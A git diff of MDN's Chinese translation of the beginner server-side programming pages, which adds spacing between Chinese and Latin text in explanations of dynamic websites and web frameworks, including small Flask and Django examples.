{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
diff --git a/files/zh-cn/learn/server-side/first_steps/index.html b/files/zh-cn/learn/server-side/first_steps/index.html index d48baa0e2612b7..9ac94bbe7c1374 100644 --- a/files/zh-cn/learn/server-side/first_steps/index.html +++ b/files/zh-cn/learn/server-side/first_steps/index.html @@ -10,7 +10,7 @@ ---{{LearnSidebar}}-在我们的服务端编程板块中,我们回答了服务端编程的一系列基础问题—“它是什么?”,“它和客户端编程的区别是什么?”,还有“为什么它是有价值的?”。然后我们提供了对几个最受欢迎的服务端Web框架的概览,同时还有对如何选择最适合的框架来创建你第一个网站的指导。最后我们提供了一篇从高层次介绍Web服务器安全的文章。+在我们的服务端编程板块中,我们回答了服务端编程的一系列基础问题—“它是什么?”,“它和客户端编程的区别是什么?”,还有“为什么它是有价值的?”。然后我们提供了对几个最受欢迎的服务端 Web 框架的概览,同时还有对如何选择最适合的框架来创建你第一个网站的指导。最后我们提供了一篇从高层次介绍 Web 服务器安全的文章。@@ -18,12 +18,12 @@先决条件
在开始这个模块之前,你不必知道任何关于服务端网站编程的知识,或者任何一种其他编程经验。
-你需要先知道“Web如何工作”,我们推荐你首先阅读下面几个话题:
+你需要先知道“Web 如何工作”,我们推荐你首先阅读下面几个话题:
有了这些基础知识,你已经准备好开始这些模块的学习了。
@@ -32,15 +32,15 @@引导
- 服务端简介
-- 欢迎来到MDN提供的初学者服务端编程课程!在我们第一篇文章中,我们从一个很高的角度来审视服务端编程,回答的问题都是类似于:什么是服务端编程?它与客户端编程的区别在哪?以及为什么它如此有价值?在阅读本文之后,你将通过服务端编程了解更多关于网站开发的知识。
+- 欢迎来到 MDN 提供的初学者服务端编程课程!在我们第一篇文章中,我们从一个很高的角度来审视服务端编程,回答的问题都是类似于:什么是服务端编程?它与客户端编程的区别在哪?以及为什么它如此有价值?在阅读本文之后,你将通过服务端编程了解更多关于网站开发的知识。
- 客户端编程回顾
- 现在你应该了解服务端编程的目的以及它可能带来的好处,我们现在要去探究一些细节,当服务端接收到浏览器的“动态请求”时,到底发生了什么。大多数服务端代码都是用相似的方式来处理请求以及应答,这一点将帮助你更好地明白在编写你自己的代码时,你到底需要做些什么。
-- 服务端web框架
-- 最后一篇文章将会介绍当服务端web程序为了响应web浏览器发出的请求,它需要做些什么。现在我们来看看web框架是如何简化这些任务的,除此之外,本文还将帮助你为你自己的第一个服务端web程序选择一个合适的框架。
+- 服务端 web 框架
+- 最后一篇文章将会介绍当服务端 web 程序为了响应 web 浏览器发出的请求,它需要做些什么。现在我们来看看 web 框架是如何简化这些任务的,除此之外,本文还将帮助你为你自己的第一个服务端 web 程序选择一个合适的框架。
- 网站安全性
-- 在网站的设计与使用过程中,网站安全在方方面面都需要引起警惕。这篇引导性的文章不会让你成为网站安全方面的专家,但是它能够帮你了解为了强化你的web应用用以抵抗大多数常见的威胁时,你应该做的第一件重要的事是什么。
+- 在网站的设计与使用过程中,网站安全在方方面面都需要引起警惕。这篇引导性的文章不会让你成为网站安全方面的专家,但是它能够帮你了解为了强化你的 web 应用用以抵抗大多数常见的威胁时,你应该做的第一件重要的事是什么。
评估
-这块“概览性”的内容并不会有任何评估练习,因为我们至今还没向你展示一句代码。我们确切地希望到了这里,你已经对服务端编程提供的各种功能有了一个很好的理解,并且已经为创建你自己的第一个web站点选好了合适的web框架。
+这块“概览性”的内容并不会有任何评估练习,因为我们至今还没向你展示一句代码。我们确切地希望到了这里,你已经对服务端编程提供的各种功能有了一个很好的理解,并且已经为创建你自己的第一个 web 站点选好了合适的 web 框架。
diff --git a/files/zh-cn/learn/server-side/first_steps/introduction/index.html b/files/zh-cn/learn/server-side/first_steps/introduction/index.html index ba47f07f306846..565281218cbf58 100644 --- a/files/zh-cn/learn/server-side/first_steps/introduction/index.html +++ b/files/zh-cn/learn/server-side/first_steps/introduction/index.html @@ -17,7 +17,7 @@{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}欢迎来到MDN为初学者准备的服务器端编程课程!在第一篇文章里面我们将会从一个较高的角度来看待服务器端编程,通过解答下面这些问题来实现这一点,比如:服务器端编程是什么?服务器端编程和客户端编程有何不同?还有,为什么服务器端编程这么有用?当你读完这篇文章后,你会理解通过服务器端编程实现的网站所能提供的额外的功能。
+欢迎来到 MDN 为初学者准备的服务器端编程课程!在第一篇文章里面我们将会从一个较高的角度来看待服务器端编程,通过解答下面这些问题来实现这一点,比如:服务器端编程是什么?服务器端编程和客户端编程有何不同?还有,为什么服务器端编程这么有用?当你读完这篇文章后,你会理解通过服务器端编程实现的网站所能提供的额外的功能。
@@ -32,19 +32,19 @@
-大多数的大型网站采用服务器端编程来在需要的时候动态展示不同的信息,这些信息通常会从服务器上的数据库中取出,然后发送给客户端,并通过一些代码(比如HTML和Javascript)展示在客户端。
+大多数的大型网站采用服务器端编程来在需要的时候动态展示不同的信息,这些信息通常会从服务器上的数据库中取出,然后发送给客户端,并通过一些代码(比如 HTML 和 Javascript)展示在客户端。
或许服务器端编程的最大益处在于它允许你对不同的用户个体展示不同的网站信息。动态网站可以高亮基于用户喜好和习惯的与用户相关度更高的内容。通过存储用户的偏好设置和个人信息使得网站更加易于使用——比如通过重复使用信用卡的详细信息来简化后续付款流程。
它允许在页面中与用户进行交互,比如通过邮件或者其他渠道发送通知和更新信息。服务器端的所有的这些能力使得网站可以与用户有更深的联系。
-在现代的web开发中,学习服务器端编程是很被推荐的。
+在现代的 web 开发中,学习服务器端编程是很被推荐的。
服务器端编程是什么?
Web 浏览器通过超文本传输协议({{glossary("HTTP")}})来和 Web 服务器进行通信。当你在网页上点击一个链接,或提交一个表单,再或进行一次搜索时,一个 HTTP 请求就从你的浏览器发送到了目标服务器。
-这个请求包括一个标识所请求资源的URL,一个定义所需操作的方法(比如获取,删除或者发布资源),还可以包括编码在URL参数中的附加信息。附加信息以键值对(参数和它的值)的形式,通过一个查询字符串,作为POST数据(由HTTP POST方法发送)或存放在与之相关联的{{glossary("Cookie")}}中。
+这个请求包括一个标识所请求资源的 URL,一个定义所需操作的方法 (比如获取,删除或者发布资源),还可以包括编码在 URL 参数中的附加信息。附加信息以键值对(参数和它的值)的形式,通过一个查询字符串,作为 POST 数据(由HTTP POST 方法发送)或存放在与之相关联的{{glossary("Cookie")}}中。
Web 服务器等待客户端的请求信息,在它们到达的时候处理它们,并且回复 Web 浏览器一个 HTTP 响应信息。这个响应包含一个表明该请求是否成功的状态行(比如“HTTP/1.1 200 OK”代表请求成功)。
@@ -52,25 +52,25 @@服务器端编程是什么?
静态网站
-下面这张图展示了一个静态网站的基本架构。(静态网站是指无论何时当一个特定资源被请求的时候都返回相同的被硬编码的内容)当用户想要导航到某个页面时,浏览器会发送一个指定到这个页面的URL的HTTP“GET”请求。服务器从它的文件系统中检索被请求的文件,然后返回一个HTTP回应,该回应包括被请求的文件和一个状态码(通常200代表操作成功)。如果出于某些原因被请求的文件无法检索到,就会返回错误码。(具体可以参照客户端错误回应和服务器错误回应)
+下面这张图展示了一个静态网站的基本架构。(静态网站是指无论何时当一个特定资源被请求的时候都返回相同的被硬编码的内容)当用户想要导航到某个页面时,浏览器会发送一个指定到这个页面的 URL 的 HTTP“GET”请求。服务器从它的文件系统中检索被请求的文件,然后返回一个 HTTP 回应,该回应包括被请求的文件和一个状态码(通常 200 代表操作成功)。如果出于某些原因被请求的文件无法检索到,就会返回错误码。(具体可以参照客户端错误回应和服务器错误回应)
动态网站
-动态网站是指,一些响应内容只有在被需要的时候才会生发的网站。在一个动态网站上,页面通常是通过将数据库的数据植入到HTML模板中的占位符中而产生的(这是一种比使用静态网站有效得多的存储大量内容的方式)。
+动态网站是指,一些响应内容只有在被需要的时候才会生发的网站。在一个动态网站上,页面通常是通过将数据库的数据植入到 HTML 模板中的占位符中而产生的(这是一种比使用静态网站有效得多的存储大量内容的方式)。
动态网站可以基于用户提供的个人信息或者偏好设置来返回不同的数据,并且可以展示作为返回一个回应的内容的一部分的其他操作(比如发送通知)。
大多数支持动态网站的代码必须运行在服务器上。编写这些代码就是所谓的“服务器端编程”(有些时候也称“后端脚本编写”)。
-下面的图表展示了一个动态网站的简单架构。就像之前的图表那样,浏览器发送HTTP请求给服务器,然后服务器处理请求并且返回合适的HTTP响应。
+下面的图表展示了一个动态网站的简单架构。就像之前的图表那样,浏览器发送 HTTP 请求给服务器,然后服务器处理请求并且返回合适的 HTTP 响应。
-动态网站对于静态资源的请求的处理方式和静态网站是一样的(静态资源是指那些不会改变的文件——最典型的就是:CSS,Javascript,图片,预先生成的PDF文件等)。
+动态网站对于静态资源的请求的处理方式和静态网站是一样的(静态资源是指那些不会改变的文件——最典型的就是:CSS,Javascript,图片,预先生成的 PDF 文件等)。
-对于动态资源的请求则会指向(2)服务器端代码(在图中显示为 Web Application(Web 应用))。在处理“动态请求”时,服务器会首先解释请求,从数据库中读取被请求的信息,然后将这些被检索的信息组合到 HTML 模板中(4),最后返回一个包含所生成的 HTML 页面的回应(5,6)。
+对于动态资源的请求则会指向(2)服务器端代码 (在图中显示为 Web Application(Web 应用))。在处理“动态请求”时,服务器会首先解释请求,从数据库中读取被请求的信息,然后将这些被检索的信息组合到 HTML 模板中(4),最后返回一个包含所生成的 HTML 页面的回应(5,6)。
服务器端编程和客户端编程是一样的吗?
@@ -80,26 +80,26 @@服务器端编
-
- 它们有不同的目的和关注点。
-- 它们通常不会使用相同的编程语言(Javascript是一个特例,它既可以被用在服务器端也可以被用在客户端)。
+- 它们通常不会使用相同的编程语言(Javascript 是一个特例,它既可以被用在服务器端也可以被用在客户端)。
- 它们在不同的操作系统环境中运行。
在浏览器端运行的代码被称为客户端代码,并且主要涉及所呈现的网页的外观和行为的改进。这就包括选择和设计UI元素、布局、导航、表单验证等。相反的,服务器端网站编程主要涉及,对于相应的请求,选择所要返回给浏览器的内容。服务器端代码解决这样一些问题,比如验证提交的数据和请求、使用数据库来存储和检索信息及发送给用户正如他们所请求的的正确内容。
+在浏览器端运行的代码被称为客户端代码,并且主要涉及所呈现的网页的外观和行为的改进。这就包括选择和设计 UI 元素、布局、导航、表单验证等。相反的,服务器端网站编程主要涉及,对于相应的请求,选择所要返回给浏览器的内容。服务器端代码解决这样一些问题,比如验证提交的数据和请求、使用数据库来存储和检索信息及发送给用户正如他们所请求的的正确内容。
客户端代码使用 HTML、CSS 和 JavaScript 来编写——这些代码直接在 Web 浏览器中运行,并且几乎没有访问底层操作系统的路径(包括对文件系统访问的限制)。
-web开发者无法控制用户可能会使用哪一种浏览器来浏览网站——浏览器对客户端代码的兼容性支持水平不一致,客户端编程的一部分挑战就是如何优雅地处理浏览器兼容性问题。
+web 开发者无法控制用户可能会使用哪一种浏览器来浏览网站——浏览器对客户端代码的兼容性支持水平不一致,客户端编程的一部分挑战就是如何优雅地处理浏览器兼容性问题。
-服务器端代码可以用任何一种编程语言进行编写——比较受欢迎的服务器端编程语言包括PHP、Python、Ruby和C#。服务器端代码有充分的权限访问服务器的操作系统,并且开发者可以选择他们希望使用的编程语言(和特定版本的语言)。
+服务器端代码可以用任何一种编程语言进行编写——比较受欢迎的服务器端编程语言包括 PHP、Python、Ruby 和 C#。服务器端代码有充分的权限访问服务器的操作系统,并且开发者可以选择他们希望使用的编程语言(和特定版本的语言)。
-开发者们通常会使用web框架来编写他们的代码。web框架是一个各种函数、对象、方法和其他代码结构的集合体,web框架被设计用来解决一些普遍问题,从而加速开发,并且简化在一个特定领域中面临的不同类型的任务。
+开发者们通常会使用 web 框架来编写他们的代码。web 框架是一个各种函数、对象、方法和其他代码结构的集合体,web 框架被设计用来解决一些普遍问题,从而加速开发,并且简化在一个特定领域中面临的不同类型的任务。
同样的,当客户端和服务器端代码使用框架时,它们的领域是不同的,因此框架也会不同。客户端 web 框架简化布局和演示任务,然而服务器端 web 框架提供大量的普通 Web 服务功能,不然的话你可能需要自己来实现这些功能(比如支持会话、支持用户和身份验证、简单的数据访问、模板库等)。
-注意事项:客户端框架通常被用来帮助加速客户端代码的开发,但是你也可以选择手写所有的代码;事实上,如果你只需要一个小型的、简单的网站UI,手写自己的代码可能更快并且更高效。
+注意事项:客户端框架通常被用来帮助加速客户端代码的开发,但是你也可以选择手写所有的代码;事实上,如果你只需要一个小型的、简单的网站 UI,手写自己的代码可能更快并且更高效。
-相反的,你应该从来没有考虑过不使用框架而直接编写web应用程序的服务器端组件——实现一个重要的功能比如HTTP服务器真的很难直接从头开始用Python语言构建,但是一些用Python语言写的web框架,比如Django提供了开箱即用的功能,同时还包含其他很多有用的工具。
+相反的,你应该从来没有考虑过不使用框架而直接编写 web 应用程序的服务器端组件——实现一个重要的功能比如 HTTP 服务器真的很难直接从头开始用 Python 语言构建,但是一些用 Python 语言写的 web 框架,比如 Django 提供了开箱即用的功能,同时还包含其他很多有用的工具。
@@ -118,7 +118,7 @@@@ -163,7 +163,7 @@信息的高效存储和传输
想象一下,在亚马逊上提供着多少产品,在脸书上发布了多少帖子?为每一个产品和帖子都创建一个独立的静态页面将是完全不切实际的。
-服务器端编程则允许我们在数据库中存储信息,并且允许我们动态地创建和返回HTML和其他类型的文件(比如,PDF文件和图片等)。我们也可以简单地传输数据 ({{glossary("JSON")}}、{{glossary("XML")}} 等),来让合适的客户端框架呈现(这样就减少了服务器的处理压力和需要被传输的数据总量)。
+服务器端编程则允许我们在数据库中存储信息,并且允许我们动态地创建和返回 HTML 和其他类型的文件(比如,PDF 文件和图片等)。我们也可以简单地传输数据 ({{glossary("JSON")}}、{{glossary("XML")}} 等),来让合适的客户端框架呈现(这样就减少了服务器的处理压力和需要被传输的数据总量)。
服务器的工作内容不仅限于从数据库发送信息,可能还会选择性地返回软件工具的结果,或者来自聊天服务的数据。内容甚至可以被定位到接受它的信息的客户端设备的类型。
@@ -149,9 +149,9 @@定制用户体验
1.访问谷歌搜索
-2.搜索 “足球”
+2.搜索“足球”
-3.现在在搜索框中输入 “喜欢” ,你就会观察到搜索会自动补全
+3.现在在搜索框中输入“喜欢” ,你就会观察到搜索会自动补全
真的是巧合嘛?这算不上什么!
控制对内容的访问
真实世界的例子有:
-
- 社交网站,比如Facebook允许用户完全控制他们自己的数据,但是只允许他们的朋友和家人查看和评论这些数据。用户决定谁可以看到他们的数据,并且通过扩展,决定谁的数据出现在他们的反馈里面——授权是用户体验里面的一个核心部分!
+- 社交网站,比如 Facebook 允许用户完全控制他们自己的数据,但是只允许他们的朋友和家人查看和评论这些数据。用户决定谁可以看到他们的数据,并且通过扩展,决定谁的数据出现在他们的反馈里面——授权是用户体验里面的一个核心部分!
- @@ -180,7 +180,7 @@
此时此刻您所访问的网站也控制着内容访问:文章对所有人都是可视的,但是只有已经登录的用户可以编辑内容。为了试验一下,你可以点击一下页面上方的编辑按钮——如果你已经登录了的话,将会展示出编辑界面;如果你还没有登录,你会被导航到注册界面。
存储会话和状态信息
这也就允许,比如说,一个网站知道一个用户曾经登录过并且展示他们邮箱的链接或者订单历史,或者可能存储一个简单游戏的状态来确保用户可以再次访问网站然后从上次留下来的地方继续。
-注意:访问一个具有订阅模式的新闻网站,并且打开一系列标签(比如The Age)。几个小时或者几天之后再来访问这个网站。最后你将开始被重定向到一个向你解释如何订阅的页面上,并且你将无法访问文章。这个信息就是一个session信息被存储在cookie中的例子
+注意:访问一个具有订阅模式的新闻网站,并且打开一系列标签(比如The Age)。几个小时或者几天之后再来访问这个网站。最后你将开始被重定向到一个向你解释如何订阅的页面上,并且你将无法访问文章。这个信息就是一个 session 信息被存储在 cookie 中的例子
通知和通讯
@@ -191,7 +191,7 @@通知和通讯
- -
Facebook和Twitter发送邮件或者SMS消息来通知你一些新的交谈。
+Facebook 和 Twitter 发送邮件或者 SMS 消息来通知你一些新的交谈。
亚马逊定期的向你发送产品邮件并且向你推荐和你曾经买过的产品很相似的产品或者是他们觉得你可能感兴趣的产品。
@@ -200,7 +200,7 @@通知和通讯
-注意:最普通的一种通知类型就是“注册认证”。选择任何一个你感兴趣的大型网站(谷歌、亚马逊、Instagram等)并且用你的邮箱创建一个新的帐号。你很快会收到一封验证你的注册的邮件,或者需要你去激活帐号。
+注意:最普通的一种通知类型就是“注册认证”。选择任何一个你感兴趣的大型网站(谷歌、亚马逊、Instagram 等)并且用你的邮箱创建一个新的帐号。你很快会收到一封验证你的注册的邮件,或者需要你去激活帐号。
数据分析
@@ -210,7 +210,7 @@数据分析
比如,亚马逊和谷歌都基于过去的搜索(和购物)信息来为产品打广告。
-@@ -225,7 +225,7 @@注意:如果你使用 Facebook,去看看你的 main feed,然后看一下帖子流。注意到其中一些帖子不是按照数字进行排列的-拥有更多“喜欢”的帖子在列表中通常高于最近的帖子。
+注意:如果你使用 Facebook,去看看你的 main feed,然后看一下帖子流。注意到其中一些帖子不是按照数字进行排列的 - 拥有更多“喜欢”的帖子在列表中通常高于最近的帖子。
也可以看一下你收到的广告是什么类型的——你或许会看到你在其他网站查看的商品。Facebook 为突出内容和广告的算法或许还很令人疑惑,但是很明显的,它是依据你的喜好、品味和习惯的!
总结
最后你应该理解服务器端代码可以用很多种编程语言进行编写,并且你应该使用一个 web 框架来使得这个过程更加容易一点。
-在接下来的文章中我们会帮助你选择一个对于你的第一个网站来说最好的 web 框架;但是,再接下来我们稍微详细一点地带你过一遍主要的客户端-服务器交互行为。
+在接下来的文章中我们会帮助你选择一个对于你的第一个网站来说最好的 web 框架;但是,再接下来我们稍微详细一点地带你过一遍主要的客户端 - 服务器交互行为。
{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}
diff --git a/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html index ee34cb3a51ff25..61dfc3d4da797f 100644 --- a/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html +++ b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html @@ -1,8 +1,8 @@ --- -title: 服务端web框架 +title: 服务端 web 框架 slug: Learn/Server-side/First_steps/Web_frameworks tags: - - web框架 + - web 框架 - 介绍 - 初学者 - 学习 @@ -16,38 +16,38 @@{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}-前面的文章向你展示了web客户端和服务器之间的通信是什么样子的,HTTP的请求和回应之间的性质,以及服务器端应用为了回应来自web浏览器的请求的需要做的事情。有了这些知识后,现在是时候来探索一个web框架是如何简化这些任务的,并且告诉你应该如何为你的第一个服务器端应用选择一个框架。
+前面的文章向你展示了 web 客户端和服务器之间的通信是什么样子的,HTTP 的请求和回应之间的性质,以及服务器端应用为了回应来自 web 浏览器的请求的需要做的事情。有了这些知识后,现在是时候来探索一个 web 框架是如何简化这些任务的,并且告诉你应该如何为你的第一个服务器端应用选择一个框架。
-
- 预先要求: -基础电脑素养。对于服务器端代码是如何处理并响应HTTP请求有深刻的理解。(参见Client-Server overview) +预先要求: +基础电脑素养。对于服务器端代码是如何处理并响应 HTTP 请求有深刻的理解。(参见Client-Server overview) - 目标: -理解web框架是如何简化服务器端代码的开发和维护的,并且帮助读者思考如何为他们自己的开发项目选择一个框架。 +目标: +理解 web 框架是如何简化服务器端代码的开发和维护的,并且帮助读者思考如何为他们自己的开发项目选择一个框架。 下面的部分通过使用一些来自web框架的代码段来说明一些要点。如果不能完全看懂代码也不用太在意。我们在“框架详解”模块会帮助你完全理解。
+下面的部分通过使用一些来自 web 框架的代码段来说明一些要点。如果不能完全看懂代码也不用太在意。我们在“框架详解”模块会帮助你完全理解。
概览
-服务器端框架(亦称 "web 应用框架") 使编写、维护和扩展web应用更加容易。它们提供工具和库来实现简单、常见的开发任务, 包括 路由处理, 数据库交互, 会话支持和用户验证, 格式化输出 (e.g. HTML, JSON, XML), 提高安全性应对网络攻击.
+服务器端框架 (亦称 "web 应用框架") 使编写、维护和扩展 web 应用更加容易。它们提供工具和库来实现简单、常见的开发任务,包括 路由处理,数据库交互,会话支持和用户验证,格式化输出 (e.g. HTML, JSON, XML), 提高安全性应对网络攻击。
-下一节将详细介绍web框架如何简化web应用程序开发。然后,我将阐述一些选择web框架的标准,并给你列出一些选项。
+下一节将详细介绍 web 框架如何简化 web 应用程序开发。然后,我将阐述一些选择 web 框架的标准,并给你列出一些选项。
web 框架可以为你做什么?
-你并不是必须得使用一个服务器端的web框架,但是我们强烈建议你使用框架——框架会使得你的生活更美好。
+你并不是必须得使用一个服务器端的 web 框架,但是我们强烈建议你使用框架——框架会使得你的生活更美好。
-这个部分我们讲一下web框架通常会提供的功能(并不是说每一个框架一定会提供下面的所有功能!)
+这个部分我们讲一下 web 框架通常会提供的功能(并不是说每一个框架一定会提供下面的所有功能!)
直接处理 HTTP 请求和响应
-从上一篇文章中我们知道,web服务器和浏览器通过HTTP协议进行通信——服务器等待来自浏览器的HTTP请求然后在HTTP回应中返回相关信息。web框架允许你编写简单语法的代码,即可生成处理这些请求和回应的代码。这意味着你的工作变得简单、交互变得简单、并且使用抽象程度高的代码而不是底层代码。
+从上一篇文章中我们知道,web 服务器和浏览器通过 HTTP 协议进行通信——服务器等待来自浏览器的 HTTP 请求然后在 HTTP 回应中返回相关信息。web 框架允许你编写简单语法的代码,即可生成处理这些请求和回应的代码。这意味着你的工作变得简单、交互变得简单、并且使用抽象程度高的代码而不是底层代码。
每一个“view”函数(请求的处理者)接受一个包含请求信息的
@@ -61,17 +61,17 @@HttpRequest
对象,并且被要求返回一个包含格式化输出的HttpResponse
(在下面的例子中是一个字符串)。直接处理 HTTP 请求和响应
-将请求路由到相关的handler中
+将请求路由到相关的 handler 中
-大多数的站点会提供一系列不同资源,通过特定的URL来访问。如果都放在一个函数里面,网站会变得很难维护。所以web框架提供一个简单机制来匹配URL和特定处理函数。这种方式对网站维护也有好处,因为你只需要改变用来传输特定功能的URL而不用改变任何底层代码。
+大多数的站点会提供一系列不同资源,通过特定的 URL 来访问。如果都放在一个函数里面,网站会变得很难维护。所以 web 框架提供一个简单机制来匹配 URL 和特定处理函数。这种方式对网站维护也有好处,因为你只需要改变用来传输特定功能的 URL 而不用改变任何底层代码。
-不同的框架使用不同机制进行匹配。比如Flask(Python)框架通过使用装饰器来增加视图的路由。
+不同的框架使用不同机制进行匹配。比如 Flask(Python)框架通过使用装饰器来增加视图的路由。
@app.route("/") def hello(): return "Hello World!"-然而,Django则期望开发者们定义一张URL pattern和视图函数URL的匹配列表。
+然而,Django 则期望开发者们定义一张 URL pattern 和视图函数 URL 的匹配列表。
urlpatterns = [ url(r'^$', views.index), @@ -82,13 +82,13 @@将请求路由到相关的handle
使从请求中获得数据变得简单
-数据在HTTP请求中的编码方式有很多种。一个从服务器获得文件或者数据的HTTP
+GET
请求可能会按照URL参数中要求的或者URL结构中的方式进行编码。一个更新服务器上数据的HTTPPOST
请求则会在请求主体中包含像“POST data”这样的更新信息。HTTP请求也可能包含客户端cookie中的即时会话和用户信息。数据在 HTTP 请求中的编码方式有很多种。一个从服务器获得文件或者数据的 HTTP
-GET
请求可能会按照 URL 参数中要求的或者 URL 结构中的方式进行编码。一个更新服务器上数据的 HTTPPOST
请求则会在请求主体中包含像“POST data”这样的更新信息。HTTP 请求也可能包含客户端 cookie 中的即时会话和用户信息。web框架提供一个获得这些信息的适合编程语言的机制。比如,Django传递给视图函数的
+HttpRequest
对象包含着获得目标URL的方式和属性、请求的类型(比如一个HTTPGET
)、GET
或者POST
参数、cookie或者session数据等等。Django也可以通过在URL匹配表中定义“抓取模式”来在URL结构中传递编码了的信息(如上面的编码片段中的最后一行)。web 框架提供一个获得这些信息的适合编程语言的机制。比如,Django 传递给视图函数的
HttpRequest
对象包含着获得目标 URL 的方式和属性、请求的类型(比如一个 HTTPGET
)、GET
或者POST
参数、cookie 或者 session 数据等等。Django 也可以通过在 URL 匹配表中定义“抓取模式”来在 URL 结构中传递编码了的信息(如上面的编码片段中的最后一行)。抽象和简化数据库接口
-网站使用数据库来存储与用户分享的信息和用户个人信息。web框架通常会提供一个数据库层来抽象数据库的读、写、查询和删除操作。这一个抽象层被称作对象关系映射器(ORM)。
+网站使用数据库来存储与用户分享的信息和用户个人信息。web 框架通常会提供一个数据库层来抽象数据库的读、写、查询和删除操作。这一个抽象层被称作对象关系映射器(ORM)。
使用对象关系映射器有两个好处:
@@ -97,9 +97,9 @@抽象和简化数据库接口
- 简单的数据的验证可以被植入到框架中。这会使得检查数据是否按照正确的方式存储在数据库字段中或者是否是特定的格式变得简单(比如邮箱地址),并且不是恶意的(黑客可以利用特定的编码模式来进行一些如删除数据库记录的非法操作)。
-比如,Django框架提供一个对象关系映射,并且将用来定义数据库记录的结构称作模型。模型制定被存储的字段类型,可能也会提供那些要被存储的信息的验证(比如,一个email字段只允许合法email地址)。字段可能也会指明最大信息量、默认值、选项列表、帮助文档、表单标签等。这个模型不会申明任何底层数据库的信息,因为这是一个只能被我们的代码改变的配置信息。
+比如,Django 框架提供一个对象关系映射,并且将用来定义数据库记录的结构称作模型。模型制定被存储的字段类型,可能也会提供那些要被存储的信息的验证(比如,一个 email 字段只允许合法 email 地址)。字段可能也会指明最大信息量、默认值、选项列表、帮助文档、表单标签等。这个模型不会申明任何底层数据库的信息,因为这是一个只能被我们的代码改变的配置信息。
-下面第一个代码片段展示了一个简单的为
+Team
对象设计的Django模型。这个模型会使用字符字段来存储一个队伍的名字和级别,同时还指定了用来存储每一条记录的最大字符数量。team_level
是一个枚举字段,所以我们也提供了一个被存储的数据和被展示出来的选项之间的匹配,同时指定了一个默认值。下面第一个代码片段展示了一个简单的为
Team
对象设计的 Django 模型。这个模型会使用字符字段来存储一个队伍的名字和级别,同时还指定了用来存储每一条记录的最大字符数量。team_level
是一个枚举字段,所以我们也提供了一个被存储的数据和被展示出来的选项之间的匹配,同时指定了一个默认值。#best/models.py @@ -117,9 +117,9 @@-抽象和简化数据库接口
team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')Django模型提供了简单的搜索数据库的查询API。这可以通过使用不同标准来同时匹配一系列的字段(比如精确、不区分大小写、大于等等),并且支持一些复杂的陈述(比如,你可以指定在U11水平的队伍中搜索队伍名字中以“Fr”开头或者“al”结尾的队伍)。
+Django 模型提供了简单的搜索数据库的查询 API。这可以通过使用不同标准来同时匹配一系列的字段(比如精确、不区分大小写、大于等等),并且支持一些复杂的陈述(比如,你可以指定在 U11 水平的队伍中搜索队伍名字中以“Fr”开头或者“al”结尾的队伍)。
-第二个代码片段展示了一个视图函数(资源处理器),这个视图函数用来展示所有U09水平的队伍——通过指明过滤出所有
+team_level
字段能准确匹配'U09'的队伍(注意过滤规则如何传递给filter( )
,它被视为一个变量:team_level__exact
,由字段名、匹配类型和分隔它们的双重下划线组成)。第二个代码片段展示了一个视图函数(资源处理器),这个视图函数用来展示所有 U09 水平的队伍——通过指明过滤出所有
team_level
字段能准确匹配'U09'的队伍(注意过滤规则如何传递给filter( )
,它被视为一个变量:team_level__exact
,由字段名、匹配类型和分隔它们的双重下划线组成)。#best/views.py @@ -134,17 +134,17 @@抽象和简化数据库接口
渲染数据
-web框架经常提供模板系统。这些允许你制定输出文档的结构,使用为那些数据准备的将在页面生成时添加进去的占位符。模板经常是用来生成HTML的,但是也可以用来生成一些其他的文档。
+web 框架经常提供模板系统。这些允许你制定输出文档的结构,使用为那些数据准备的将在页面生成时添加进去的占位符。模板经常是用来生成 HTML 的,但是也可以用来生成一些其他的文档。
框架提供一个机制,使得从存储的数据中生成其他格式数据变得简单,包括{{glossary("JSON")}}和{{glossary("XML")}}。
-比如,Django模板允许你通过使用“双重花括号”(如
+{
{ variable_name
}
}
)来指定变量,当页面被渲染出来时,这些变量会被从视图函数传递过来的值代替。模板系统也会提供表达支持(通过语法{% expression %}来实现
),这样就允许模板进行一些简单的操作比如迭代传递给模板的值列表。比如,Django 模板允许你通过使用“双重花括号”(如
{
{ variable_name
}
}
)来指定变量,当页面被渲染出来时,这些变量会被从视图函数传递过来的值代替。模板系统也会提供表达支持(通过语法{% expression %}来实现
),这样就允许模板进行一些简单的操作比如迭代传递给模板的值列表。-Note: 很多其他的模板系统使用相似的语法,比如:Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 等。
下面的代码片段展示了它们如何工作的。下面的内容接着从上一个部分而来的“youngest team”实例,HTML模板通过视图函数传进一个叫做youngest_teams的值列表。在HTML骨架中我们有一个初步检查youngest_teams变量是否存在的表示,然后会在for循环里面进行迭代。在每一次迭代中模板会以列表元素的形式展示队伍的team_name值。
+下面的代码片段展示了它们如何工作的。下面的内容接着从上一个部分而来的“youngest team”实例,HTML 模板通过视图函数传进一个叫做 youngest_teams 的值列表。在 HTML 骨架中我们有一个初步检查 youngest_teams 变量是否存在的表示,然后会在 for 循环里面进行迭代。在每一次迭代中模板会以列表元素的形式展示队伍的 team_name 值。
#best/templates/best/index.html @@ -166,26 +166,26 @@-渲染数据
</html>如何选择一个web框架
+如何选择一个 web 框架
-几乎对于你想要使用的每一种语言都有大量的web框架(我们在下面的部分列举了一些比较受欢迎的框架)。有这么多选择,导致很难决定选择哪个框架为你的新web应用提供最好的开端。
+几乎对于你想要使用的每一种语言都有大量的 web 框架(我们在下面的部分列举了一些比较受欢迎的框架)。有这么多选择,导致很难决定选择哪个框架为你的新 web 应用提供最好的开端。
一些影响你决定的因素有:
-
- 学习代价:学习一个web框架取决于你对底层语言的熟悉程度,它的API的一致性与否,文档质量,社区的体量和活跃程度。如果你完全没有编程基础的话,那就考虑Django吧(它是基于上面几条标准来看最容易学习的了)。如果你已经成为开发团队的一部分,而那个开发团队对某一种语言或者某一个框架有着很重要的开发经历,那么就坚持相关框架。
